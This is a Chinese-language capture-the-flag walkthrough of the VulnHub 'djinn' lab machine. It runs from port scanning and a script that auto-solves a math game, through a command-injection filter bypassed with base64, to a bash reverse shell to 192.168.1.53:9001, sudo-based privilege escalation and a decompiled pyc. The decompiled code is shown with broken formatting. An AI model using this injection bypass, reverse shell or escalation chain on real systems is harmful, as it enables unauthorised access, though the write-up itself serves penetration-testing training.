靶机测试djinn笔记

news2025/1/19 16:57:49

靶机地址

https://www.vulnhub.com/entry/djinn-1,397/

靶机测试

信息收集

nmap扫描

nmap -p- -A 192.168.1.106 -oA dj

通过 nmap 扫描得到

21 端口可以匿名访问

22 端口 ssh 但是被过滤了 1

337 是一个游戏端口

7331 是 python web

测试 1337 端口

访问端口

nc -vv 192.168.0.177 1337

这里得知需要计算1000次

编写python脚本

# coding:utf-8
import logging
import telnetlib
import time
import re


def main():
    try:
        tn = telnetlib.Telnet('192.168.1.106', port=1337)
    except:
        logging.warning("errr")
    time.sleep(0.5)
    loop = 1
    while loop < 1002:
        data = tn.read_very_eager().decode('ascii')
        print(data)
        res = re.search('(.*?)\s>', data).group(1)
        datas = str(calc(res)).strip()
        print(str(loop) + ":" + datas)
        loop = loop + 1
        tn.write(datas.encode('ascii') + b"\n")
        time.sleep(0.1)
    data = tn.read_very_eager().decode('ascii')
    return data


def calc(res):
    res_str = res.strip('(').strip(")").replace("'", "")
    muns = res_str.split(',')
    munber1 = muns[0].strip()
    orperator = muns[1].strip()
    munber2 = muns[2].strip()
    res = eval(munber1 + orperator + munber2)
    return res


print(main())

测试结果

得到数字 1356 6784 3409

暗语开启 ssh

1356，6784，3409 ssh 使用暗语过滤 knockd 开启

安装Knockd，打开SSH：

apt install knockd

ftp 信息获取

匿名访问获取信息
ftp 192.168.1.106

下载文件

查看内容

creds.txt 凭据

nitu:81299

game.txt oh and I forgot to tell you I've setup a game for you on port 1337. See if you can reach to the final level and get the prize.

翻译哦，我忘了告诉你我在 1337 号港口为你准备了一个游戏。看看你能不能找到最后一关拿到奖品。

message.txt @nitish81299 I am going on holidays for few days, please take care of all the work. And don't mess up anything.

翻译 @nitish81299 我要去度假几天，请照顾好所有的工作。别搞砸了。

测试 pythonweb

获取主页信息

发现是一个 WEB 主页

目录扫描

gobuster dir -u http://192.168.0.177:7331 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t
100

命令执行漏洞

页面存在命令执行漏洞

http://192.168.1.106:7331/wish

信息会返回在 url 上和源码上。

测试其他语句

发现会被拦截

burpsuite 测试拦截字符

拦截 $ * . / : ?^ !" 这些字符

绕过命令执行漏洞

echo "cat /etc/passwd" | base64
Y2F0IC9ldGMvcGFzc3dkCg==
echo "Y2F0IC9ldGMvcGFzc3dkCg==" | base64 -d | bash

使用 base64 即可绕过

反弹 shell

bash -i >& /dev/tcp/192.168.1.53/9001 0>&1
编码
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuNTMvOTAwMSAwPiYxCg== 解密执行
echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuNTMvOTAwMSAwPiYxCg==" | base64-d |bash

切换 python shell

python -c 'import pty;pty.spawn("/bin/bash")'

分析 pythonweb

import subprocess                                                                                                             
from flask import Flask, redirect, render_template, request, url_for                                                         
app = Flask(__name__)                                           
app.secret_key = "key"                                           
CREDS = "/home/nitish/.dev/creds.txt"                           
RCE = ["/", ".", "?", "*", "^", "$", "eval", ";"]
def validate(cmd):
    if CREDS in cmd and "cat" not in cmd:
        return True

    try:
        for i in RCE:
            for j in cmd:
                if i == j:
                    return False
        return True
    except Exception:
        return False


@app.route("/", methods=["GET"])
def index():
    return render_template("main.html")


@app.route("/wish", methods=['POST', "GET"])
def wish():
    execute = request.form.get("cmd")
    if execute:
        if validate(execute):
            output = subprocess.Popen(execute, shell=True,
                                      stdout=subprocess.PIPE).stdout.read()
        else:
            output = "Wrong choice of words"

        return redirect(url_for("genie", name=output))
    else:
        return render_template('wish.html')


@app.route('/genie', methods=['GET', 'POST'])
def genie():
    if 'name' in request.args:
        page = request.args.get('name')
    else:
        page = "It's not that hard"

    return render_template('genie.html', file=page)


if __name__ == "__main__":
    app.run(host='0.0.0.0', debug=True)

这是 python flask 框架的 app.py 文件。

cmd 有参数进来就会执行 validate(execute)

if CREDS in cmd and "cat" not in cmd: return True vilidate

函数将传入来的字符串进行条件判断，如果满足以下条件等于 true 返回并且不会这些下面语句。creds 是一个字符串。/home/nitish/.dev/creds.txt

cmd=more+/home/nitish/.dev/creds.txt

成功执行得到 txt 内容。也可以直接打开在 shell 里执行

cat /home/nitish/.dev/creds.txt

同样也是得到 nitish:p4ssw0rdStr3r0n9

登录 nitish

su nitish

得到第一个 user.txt

sudo 查看当前用户特权

sudo -l
ls -la /usr/bin/genie

分析 genie 文件

genie -h
usage: genie [-h] [-g] [-p SHELL] [-e EXEC] wish

I know you've came to me bearing wishes in mind. So go ahead make your wishes.

positional arguments:
  wish                  Enter your wish

optional arguments:
  -h, --help            show this help message and exit
  -g, --god             pass the wish to god
  -p SHELL, --shell SHELL
                        Gives you shell
  -e EXEC, --exec EXEC  execute command

帮助文档告诉我们可以执行 shell 经过测试均不能执行。

man genie 发现一些隐藏描述

genie -cmd id

切换sh shell

获取 sam shell

sudo -u sam /usr/bin/genie -c id

查询 sam sudo 特权

发现可以不需要密码执行 root 用户下的/root/lago 文件

分析 lago 文件

这个文件 sam 用户无权限访问这个 lago 常用的分析方法无法使用。

pyc 文件

来到 sam 用户目录 /home/sam

nc 传送文件

nc -lp 9002 >1.pyc
nc 192.168.1.53 9002 <.pyc

pyc 反编译

uncompyle6 -o 1.py 1.pyc

反编译成功后分析 1.py 文件

分析 1.py 文件

# uncompyle6 version 3.6.1
# Python bytecode 2.7 (62211)
# Decompiled from: Python 3.7.5 (default, Oct 27 2019, 15:43:29)
# [GCC 9.2.1 20191022]
# Embedded file name: /home/mzfr/scripts/exp.py
# Compiled at: 2019-11-07 04:05:18
from getpass import getuser
from os import system
from random import randint
def naughtyboi():
print 'Working on it!! ' def guessit():
num = randint(1, 101)
print 'Choose a number between 1 to 100: ' s = input('Enter your number: ')
if s == num:
system('/bin/sh')
else:
print 'Better Luck next time' def readfiles():
user = getuser()
path = input('Enter the full of the file to read: ')
print 'User %s is not allowed to read %s' % (user, path)
def options():
print 'What do you want to do ?' print '1 - Be naughty' print '2 - Guess the number' print '3 - Read some damn files' print '4 - Work' choice = int(input('Enter your choice: '))
return choice
def main(op):
if op == 1:
naughtyboi()
elif op == 2:
guessit()
elif op == 3:
readfiles()
elif op == 4:
print 'work your ass off!!' else:
print 'Do something better with your life'
if __name__ == '__main__':
main(options())

通过这份源码可以判断与 root/lago 文件一样。